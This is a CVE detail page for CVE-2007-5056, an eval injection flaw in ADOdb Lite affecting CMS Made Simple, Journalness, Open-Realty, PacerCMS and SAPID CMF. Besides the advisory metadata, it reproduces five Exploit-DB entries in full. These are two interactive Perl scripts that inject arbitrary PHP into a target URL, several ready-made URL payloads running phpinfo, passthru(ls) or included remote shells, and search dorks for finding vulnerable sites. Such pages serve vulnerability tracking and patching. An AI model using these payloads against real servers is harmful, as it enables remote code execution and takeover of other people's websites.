CVE-2007-5056 : Detail

CVE-2007-5056

Code Injection
A03-Injection
80.99%V3
Network
2007-09-24
20h00 +00:00
2017-09-28
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Eval injection vulnerability in adodb-perf-module.inc.php in ADOdb Lite 1.42 and earlier, as used in products including CMS Made Simple, SAPID CMF, Journalness, PacerCMS, and Open-Realty, allows remote attackers to execute arbitrary code via PHP sequences in the last_module parameter.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-94 Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 4442

Publication date : 2007-09-20 22h00 +00:00
Author : irk4z
EDB Verified : Yes

# o [bug] /"*._ _ # # . . . .-*'` `*-.._.-'/ # # o o < * )) , ( # # . o `*-._`._(__.--*"`.\ # # # # vuln.: CMS Made Simple 1.1.2 Remote Code Execution Vulnerability # # author: [email protected] # # download: # # http://dev.cmsmadesimple.org/frs/download.php/1424/cmsmadesimple-1.1.2.zip # # dork: "powered by CMS Made Simple version 1.1.2" # # greetz: cOndemned, kacper, str0ke # # code: /lib/adodb_lite/adodb-perf-module.inc.php: ... eval('class perfmon_parent_EXTENDER extends ' . $last_module . '_ADOConnection { }'); ... # exploit: http://[site]/[path]/lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection{}eval($_GET[w]);class%20zZz_ADOConnection{}//&w=phpinfo(); http://[site]/[path]/lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection{}eval($_GET[w]);class%20zZz_ADOConnection{}//&w=[ PHPCODE ] # milw0rm.com [2007-09-21]
Exploit Database EDB-ID : 5091

Publication date : 2008-02-08 23h00 +00:00
Author : Iron
EDB Verified : Yes

#!/usr/bin/perl # # Vendor url: journalness.sourceforge.net # # note: exploit requires Register_globals = On in php.ini # ~Iron # http://www.randombase.com require LWP::UserAgent; print "# # Journalness <= 4.1 Remote Code Execution exploit # By Iron - randombase.com # Greets to everyone at RootShell Security Group & dHack # # Example target url: http://www.target.com/journalnessdir/ Target url?"; chomp($target=<stdin>); if($target !~ /^http:\/\//) { $target = "http://".$target; } if($target !~ /\/$/) { $target .= "/"; } print "PHP code to evaluate? "; chomp($code=<stdin>); $code =~ s/(<\?php|\?>|<\?)//ig; $target .= "includes/database/adodb-perf-module.inc.php?last_module=t{};%20class%20t{};".$code."//"; $ua = LWP::UserAgent->new; $ua->timeout(10); $ua->env_proxy; $response = $ua->get($target); if ($response->is_success) { print "\n"."#" x 20 ."\n"; print $response->content; print "\n"."#" x 20 ."\n"; } else { die "Error: ".$response->status_line; } # milw0rm.com [2008-02-09]
Exploit Database EDB-ID : 5090

Publication date : 2008-02-08 23h00 +00:00
Author : Iron
EDB Verified : Yes

#!/usr/bin/perl # # Vendor url: www.open-realty.org # # note: exploit requires Register_globals = On in php.ini # ~Iron # http://www.randombase.com require LWP::UserAgent; print "# # Open-Realty <= 2.4.3 Remote Code Execution exploit # By Iron - randombase.com # Greets to everyone at RootShell Security Group # # Example target url: http://www.target.com/openrealtydir/ Target url?"; chomp($target=<stdin>); if($target !~ /^http:\/\//) { $target = "http://".$target; } if($target !~ /\/$/) { $target .= "/"; } print "PHP code to evaluate? "; chomp($code=<stdin>); $code =~ s/(<\?php|\?>|<\?)//ig; $target .= "include/class/adodb/adodb-perf-module.inc.php?last_module=t{};%20class%20t{};".$code."//"; $ua = LWP::UserAgent->new; $ua->timeout(10); $ua->env_proxy; $response = $ua->get($target); if ($response->is_success) { print "\n"."#" x 20 ."\n"; print $response->content; print "\n"."#" x 20 ."\n"; } else { die "Error: ".$response->status_line; } # milw0rm.com [2008-02-09]
Exploit Database EDB-ID : 5098

Publication date : 2008-02-09 23h00 +00:00
Author : GoLd_M
EDB Verified : Yes

### PacerCMS 0.6 (last_module) Remote Code Execution Vulnerability ### Script : http://ovh.dl.sourceforge.net/sourceforge/pacercms/pacercms0.6.zip ### Dork : Powered by PacerCMS ### POC : ### /includes/adodb_lite/adodb-perf-module.inc.php?last_module=t{};%20class%20t{};passthru(ls);// ### OR INCLUDE SHELL ### /includes/adodb_lite/adodb-perf-module.inc.php?last_module=t{};%20class%20t{};include(URL-SHELL);// ### I'm TrYaGi ......:) # milw0rm.com [2008-02-10]
Exploit Database EDB-ID : 5097

Publication date : 2008-02-09 23h00 +00:00
Author : GoLd_M
EDB Verified : Yes

### SAPID CMF Build 87 (last_module) Remote Code Execution Vulnerability ### Script R84 : http://puzzle.dl.sourceforge.net/sourceforge/sapidcmf/sapidcmf.r84.zip ### Script Update R87 :http://surfnet.dl.sourceforge.net/sourceforge/sapidcmf/sapidcmf.update.r84-r87.zip ### Dork : Powered by SAPID CMF Build 87 ### Vuln : ### 09: */ eval('class perfmon_parent_EXTENDER extends ' . $last_module . '_ADOConnection { }'); ### POC : ### /vendors/adodb_lite/adodb-perf-module.inc.php?last_module=t{};%20class%20t{};passthru(ls);// ### OR INCLUDE SHELL ### /vendors/adodb_lite/adodb-perf-module.inc.php?last_module=t{};%20class%20t{};include(URL-SHELL);// ### I'm TrYaGi ......:) # milw0rm.com [2008-02-10]

Products Mentioned

Configuraton 0

Adodb_lite>>Adodb_lite >> Version To (including) 1.42

    Cmsmadesimple>>Cms_made_simple >> Version *

    Journalness>>Journalness >> Version *

      Open-realty>>Open-realty >> Version *

      Pacercms>>Pacercms >> Version *

        Sapid>>Sapid_cmf >> Version *

          References

          http://www.securityfocus.com/bid/25768
          Tags : vdb-entry, x_refsource_BID
          http://osvdb.org/40596
          Tags : vdb-entry, x_refsource_OSVDB
          https://www.exploit-db.com/exploits/5098
          Tags : exploit, x_refsource_EXPLOIT-DB
          http://secunia.com/advisories/28886
          Tags : third-party-advisory, x_refsource_SECUNIA
          http://www.vupen.com/english/advisories/2007/3261
          Tags : vdb-entry, x_refsource_VUPEN
          http://secunia.com/advisories/26928
          Tags : third-party-advisory, x_refsource_SECUNIA
          http://osvdb.org/41422
          Tags : vdb-entry, x_refsource_OSVDB
          http://osvdb.org/41426
          Tags : vdb-entry, x_refsource_OSVDB
          http://secunia.com/advisories/28874
          Tags : third-party-advisory, x_refsource_SECUNIA
          https://www.exploit-db.com/exploits/5090
          Tags : exploit, x_refsource_EXPLOIT-DB
          http://osvdb.org/41428
          Tags : vdb-entry, x_refsource_OSVDB
          https://www.exploit-db.com/exploits/5097
          Tags : exploit, x_refsource_EXPLOIT-DB
          http://secunia.com/advisories/28873
          Tags : third-party-advisory, x_refsource_SECUNIA
          https://www.exploit-db.com/exploits/4442
          Tags : exploit, x_refsource_EXPLOIT-DB
          https://www.exploit-db.com/exploits/5091
          Tags : exploit, x_refsource_EXPLOIT-DB
          http://secunia.com/advisories/28859
          Tags : third-party-advisory, x_refsource_SECUNIA
          http://osvdb.org/41427
          Tags : vdb-entry, x_refsource_OSVDB